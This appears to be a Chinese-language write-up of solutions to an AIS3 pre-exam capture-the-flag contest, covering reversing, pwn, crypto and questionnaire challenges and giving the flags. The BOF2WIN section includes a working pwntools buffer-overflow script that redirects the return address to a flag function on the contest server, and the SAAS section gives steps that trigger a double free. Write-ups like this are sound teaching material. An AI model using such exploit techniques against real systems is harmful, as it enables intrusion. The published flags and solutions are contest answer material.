為了要進一步確認,執行後輸入 蛵煿 AIS3{chaNcH4n_a1_Ch1k1ch1k1_84n8An_M1nNa_5upa5utA_n0_TAMa90_5a},確認確實能拿到正解

Flag: AIS3{chaNcH4n_a1_Ch1k1ch1k1_84n8An_M1nNa_5upa5utA_n0_TAMa90_5a}

Pwn

[mf*] [pre] SAAS - Crash

這題是我隨便亂戳出來的,我也不知道原理

在看原始碼的時候,隱約覺得功能 2 (Edit string) 好像沒有把 strs[idx]->len 換成新 string 的長度,感覺是一個 bug(?),所以順手戳戳看,以下是原始碼的節錄:

case 1: idx = readidx(); printf("Content: "); scanf("%4095[^\n]", tmp); scanf("%c", &c); strs[idx] = new String(tmp); break; case 2: idx = readidx(); printf("New Content: "); if (strs[idx] != nullptr) { scanf("%4095[^\n]", tmp); scanf("%c", &c); memcpy(strs[idx]->str, tmp, strs[idx]->len); strs[idx]->str[strs[idx]->len] = 0; } else { printf("String #%d doesn't exist!\n", idx); } break;

經實測發現經過以下步驟會讓它 crash,就會出現 flag

  1. 在隨便一個 index create 一個較短的字串 aaa

  1. 用一個較長的字串 bbbb 修改之

  1. 印出來

  1. 刪掉

然後就 crash 拿 flag ㄌ

上網查錯誤訊息好像是跟 double free 之類的問題有關,好像是在同一個記憶體重複做 free,然後似乎有一點安全性問題之類的ㄅ,不太懂

Flag: AIS3{congrats_on_crashing_my_editor!_but_can_you_get_shell_from_it?}

[mf*] [pre] BOF2WIN

就 buffer overflow 修改 return address 跳到指定函式的題目,不過我 pwn 很爛,所以留到後面才打

首先檢查安全性資訊,確認沒有太特別的防護 (NX 只是不能在 stack 上執行 code,不影響)

確認有哪些 function,發現除了 main 以外還有一個特別的 get_the_flag 函式,位置在 0x0000000000401216

嘗試反組譯,看起來就是讀 flag 檔案並輸出到 stdout,沒什麼特別的

而 main function 很明顯的有一個 buffer overflow,只要超出 16 個字元就可以覆蓋到 buffer 外面

根據下面這張圖片 (來源: 《System V Application Binary Interface》),可知道在 x64 下需要覆蓋到 rbp + 8 的位置才能控制 return address,所以實際上需要 16+8 = 24 個隨便字元填充

以下程式是從網路上的東西拿來改的

# filename: pwnais3.py from pwn import * import codecs server = remote('chals1.ais3.org', 12347) #server = gdb.debug('./bof2win', ''' # break get_the_flag # continue''') print(server.read()) payload = bytes("A" * (16+8), "ascii") payload += pack(0x0000000000401216, 64) server.send(payload) server.interactive()

實際執行畫面

Flag: AIS3{Re@1_B0F_m4st3r!!}

Crypto

[mf] [pre] SC

觀察 cipher.py,可以很明顯的知道這題是用 Substitution cipher 做為加解密演算法,不過就算看不出來其實題目也有在下面好心提供相關的說明

另外,這題也有提供 cipher.py 加密後的結果 cipher.py.enc,所以等於是知道密文和明文的對應,用人眼對照一下就能解了,以下是我大致對一下找出的映射關係 (密 -> 明)

0	F
1	q
2	u
3	C
4	b
5	A
6	t
7	O
8	x
9	R
A	H
B	T
C	v
D	i
E	U
F	w
G	2
H	
I	s
J	3
K	6
L	
M	7
N	
O	c
P	p
Q	
R	
S	
T	g
U	8
V	0
W	1
X	m
Y	9
Z	
a	k
b	
c	a
d	
e	
f	
g	J
h	
i	r
j	y
k	d
l	
m	4
n	l
o	
p	o
q	f
r	
s	e
t	5
u	
v	S
w	n
x	I
y	
z	h

flag.txt.enc 對照一下即可找出 flag

Flag: AIS3{s0lving_sub5t1tuti0n_ciph3r_wi7h_kn0wn_p14int3xt_4ttack}

[mf*] [pre] Fast Cipher

這題算有點矇到,理論基礎有點 bug

下面為加密演算法的部分,大致上就是讀 flag.txt 然後用一組隨機的 key 先 mod 127 後對每一個字元做 xor 運算,然後每做完一次 key 就會放進 f 函式做運算產生新的 key

# filename: cipher.py from secrets import randbelow M = 2**1024 def f(x): # this is a *fast* function return ( 4 * x**4 + 8 * x**8 + 7 * x**7 + 6 * x**6 + 3 * x**3 + 0x48763 ) % M def encrypt(pt, key): ct = [] for c in pt: ct.append(c ^ (key & 0xFF)) key = f(key) return bytes(ct) if __name__ == "__main__": key = randbelow(M) ct = encrypt(open("flag.txt", "rb").read().strip(), key) print(ct.hex())

而已知 flag 開頭一定是 AIS3{,且也知道加密後的文字,所以可推出一開始 key mod 127 後的值

加密前的 A = 0x41 (in ASCII)

加密後的 A = 0x6c

0x41 ^ ? = 0x6c
=> ? = 0x6c ^ 0x41 = 0x2d = 45 (in 10 base)

這邊我就假設初始 key 為 45 (雖然這邊假設可能不太恰當,但我當時的確是這樣想的,剛好矇到),只要一次又一次的丟進 f 做運算,就能知道在加密時每一個字元所用的 key 了

這邊是解密用的程式:

M = 2**1024 def f(x): # this is a *fast* function return ( 4 * x**4 + 8 * x**8 + 7 * x**7 + 6 * x**6 + 3 * x**3 + 0x48763 ) % M keys = [45] for i in range(32): keys.append(f(keys[-1])&0xff) print(keys) hex2int = { '0': 0, '1': 1, '2': 2, '3': 3, '4': 4, '5': 5, '6': 6, '7': 7, '8': 8, '9': 9, 'a': 10, 'b': 11, 'c': 12, 'd': 13, 'e': 14, 'f': 15 } ct = open("output.txt", "r").read().strip() for i in range(0, len(ct)//2): curr_ct = hex2int[ct[2*i]] * 16 + hex2int[ct[2*i+1]] print(chr(curr_ct ^ keys[i]), end='')

執行結果

Flag: AIS3{not_every_bits_are_used_lol}

Questionnaire

[mf] Questionnaire

忘記截圖了,反正就填問券

Flag: AIS3{youweregreat}

tags: CTF